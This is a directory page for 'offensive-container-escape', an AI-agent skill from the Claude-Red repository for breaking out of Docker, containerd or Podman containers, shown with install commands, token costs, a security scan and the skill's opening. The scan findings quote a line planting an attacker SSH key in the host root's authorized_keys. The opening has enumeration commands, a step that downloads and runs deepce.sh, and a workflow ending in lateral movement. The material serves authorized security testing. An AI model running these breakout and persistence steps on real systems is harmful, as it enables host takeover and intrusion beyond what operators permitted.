offensive-container-escape

offensive-container-escape is a skill for Claude Code, Codex from SnailSploit/Claude-Red. It costs 196 tokens per session (5,947 once invoked), scanned E, original, MIT.

A security testing guide for finding ways to escape from Docker, containerd, or Podman containers and reach the host system. It covers container settings such as privileges, Linux permissions, namespaces, and runtime sockets.

In plain words
What is it for?
Use it to check container isolation, test exposed Docker sockets and Linux capabilities, investigate runtime vulnerabilities, and verify whether host access is possible.
Why use it?
It helps identify container configurations that could let an attacker leave an isolated container and access the underlying host or wider infrastructure.

Skill for Claude CodeCodex

About the project

claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.

SnailSploit/Claude-Red · 3,026 stars · on GitHub

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/snailsploit/claude-red/offensive-container-escape
Any agent
npx skills add SnailSploit/Claude-Red --skill offensive-container-escape
Clone the repo
git clone --depth 1 https://github.com/SnailSploit/Claude-Red

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for offensive-container-escape

README.md
[![agentmods](https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-container-escape.svg)](https://agentmods.dev/skills/snailsploit/claude-red/offensive-container-escape)
Your own site
<a href="https://agentmods.dev/skills/snailsploit/claude-red/offensive-container-escape"><img src="https://agentmods.dev/badge/skills/snailsploit/claude-red/offensive-container-escape.svg" alt="Measured on agentmods" height="20"></a>
Per session 196 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 5,947 The whole file, excluding the scripts and references it only reads on demand.
Security scan E 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00196 $0.05947
Opus 5 $0.00098 $0.02974
Sonnet 5 $0.00039 $0.01189
Haiku 4.5 $0.00020 $0.00595

Measured 6d ago against content hash 0646139103a2, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade E, and why

offensive-container-escape scanned grade E with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

# Verify Docker API via curl curl -s --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
Skills/container/offensive-container-escape/SKILL.md · 673 lines

How it starts

The opening of the file, as written. The whole thing — 673 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container Escape and Breakout

You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.

Quick Workflow

  1. Confirm you are inside a container (check for .dockerenv, cgroup entries, PID 1 process).
  2. Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
  3. Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
  4. Execute the breakout technique matching the vector.
  5. Validate host access by reading /etc/hostname, checking PID namespace, or writing to host filesystem.
  6. Pivot from host access to lateral movement across the cluster or infrastructure.

Phase 1: Container Detection and Enumeration

Before attempting escape, confirm you are containerized and map the attack surface.

Detecting Container Environment

# Check for Docker marker file
ls -la /.dockerenv

# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'

# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '

# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'

# Check hostname (often a truncated container ID)
hostname

# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20

Automated Enumeration Tools

# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Zero-dependency container penetration toolkit
./cdk evaluate

# amicontained - Inspect container runtime and capabilities
./amicontained

# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap

Read the full file on GitHub · 673 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 673 lines · 196 tokens per session scan E 0646139103a2

Subscribe to this mod's changes

offensive-container-escape is a skill published in the GitHub repository SnailSploit/Claude-Red (3,026 stars, last pushed 6d ago), licensed MIT. It adds 196 tokens to every session and 5,947 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it E with 3 findings (reaches for credential files, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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